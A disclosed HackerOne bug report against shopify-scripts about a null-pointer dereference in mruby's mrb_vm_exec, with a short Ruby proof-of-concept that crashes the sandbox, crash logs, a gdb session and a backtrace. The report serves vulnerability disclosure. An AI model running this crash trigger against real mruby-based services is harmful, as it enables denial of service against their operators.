SIGSEGV on mrb_vm_exec() Null Deref

Disclosed: 2017-03-01 21:34:10 By ston3 To shopify-scripts
Low
Vulnerability Details
Crash occurs when `mrb_value *pool` is passed null value. Sample --------------------- The following code triggers the bug (attached as mrb_vm_exec.rb): Proc.remove_method(:initialize) Class.new{define_method(:m){} define_method(:m0,Proc.new)}.new.m0 Crash --------------------- Attached as sandbox.log x@x:~/Desktop/research/mruby-engine/bin$ ./sandbox mrb_vm_exec.rb ./sandbox:20: [BUG] Segmentation fault at 0x00000000000010 ruby 2.2.6p396 (2016-11-15 revision 56800) [x86_64-linux-gnu] -- Control frame information ----------------------------------------------- c:0003 p:---- s:0010 e:000009 CFUNC :sandbox_eval c:0002 p:0186 s:0005 E:002528 EVAL ./sandbox:20 [FINISH] c:0001 p:0000 s:0002 E:001740 TOP [FINISH] -- Ruby level backtrace information ---------------------------------------- ./sandbox:20:in `<main>' ./sandbox:20:in `sandbox_eval' -- Machine register context ------------------------------------------------ RIP: 0x00007f34c0d865ad RBP: 0x0000000000000000 RSP: 0x00007f34bf90d9e0 RAX: 0x00007f34bf921f30 RBX: 0x0000000000000000 RCX: 0x00007f34bf91ba00 RDX: 0x00007f34bf921b28 RDI: 0x00007f34bf94ab00 RSI: 0x0000000000000000 R8: 0x0000000000000000 R9: 0x0000000000000000 R10: 0x0000000000000256 R11: 0x0000000000000000 R12: 0x00007f34bf916fb0 R13: 0x00007f34bf91ba00 R14: 0x0000000000000001 R15: 0x00007f34bf916f80 EFL: 0x0000000000010297 -- C level backtrace information ------------------------------------------- /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7f34c548ad55] /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7f34c548af8c] /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7f34c536706b] /usr/lib/x86_64-linux-gnu/libruby-2.2.so.2.2 [0x7f34c541d14e] /lib/x86_64-linux-gnu/libc.so.6 [0x7f34c4f67ff0] Debug --------------------- x@x:~/Desktop/research/mruby-engine/bin$ gdb -q ruby Reading symbols from ruby...(no debugging symbols found)...done. (gdb) r sandbox mrb_vm_exec.rb Starting program: /usr/bin/ruby sandbox mrb_vm_exec.rb [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [New Thread 0x7ffff7ff7700 (LWP 29428)] [New Thread 0x7ffff1f73700 (LWP 29487)] Program received signal SIGSEGV, Segmentation fault. mrb_vm_exec (mrb=mrb@entry=0x7ffff1f744e0, proc=0x7ffff1f7bfb0, proc@entry=0x7ffff1f7c130, pc=0x7ffff1fd3bac) at /home/x/Desktop/research/mruby-engine/ext/mruby_engine/mruby/src/vm.c:1197 1197 pool = irep->pool; (gdb) list *$rip 0x7ffff33eb5ad is in mrb_vm_exec (/home/x/Desktop/research/mruby-engine/ext/mruby_engine/mruby/src/vm.c:1197). 1192 } 1193 else { 1194 /* setup environment for calling method */ 1195 proc = mrb->c->ci->proc = m; 1196 irep = m->body.irep; 1197 pool = irep->pool; 1198 syms = irep->syms; 1199 ci->nregs = irep->nregs; 1200 if (n == CALL_MAXARGS) { 1201 ci->argc = -1; (gdb) p *irep $1 = {nlocals = 1, nregs = 4, flags = 0 '\000', iseq = 0x7ffff1fd3b90, pool = 0x0, syms = 0x7ffff1f957e0, reps = 0x7ffff1f99070, lv = 0x0, filename = 0x7ffff1f9b210 "mruby-engine.rb", lines = 0x7ffff1fd4ba0, debug_info = 0x7ffff1f95bf0, ilen = 9, plen = 0, slen = 6, rlen = 1, refcnt = 1} (gdb) p irep->pool $2 = (mrb_value *) 0x0 Backtrace --------------------- (gdb) bt #0 mrb_vm_exec (mrb=mrb@entry=0x7ffff1f744e0, proc=0x7ffff1f7bfb0, proc@entry=0x7ffff1f7c130, pc=0x7ffff1fd3bac) at /home/x/Desktop/research/mruby-engine/ext/mruby_engine/mruby/src/vm.c:1197 #1 0x00007ffff33f181c in mrb_vm_run (mrb=0x7ffff1f744e0, proc=0x7ffff1f7c130, self=..., stack_keep=stack_keep@entry=0) at /home/x/Desktop/research/mruby-engine/ext/mruby_engine/mruby/src/vm.c:770 #2 0x00007ffff33df41e in mruby_engine_monitored_eval (data=0x7ffff1f743e0) at ../../../../ext/mruby_engine/eval_monitored.c:68 #3 0x00007ffff7380182 in start_thread (arg=0x7ffff1f73700) at pthread_create.c:312 #4 0x00007ffff769130d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111 Impact --------------------- This vulnerability is caused by NullPointer error. It can not be exploited, but it can cause DoS.
Actions
View on HackerOne
Report Stats
  • Report ID: 192485
  • State: Closed
  • Substate: resolved
  • Upvotes: 3
Share this report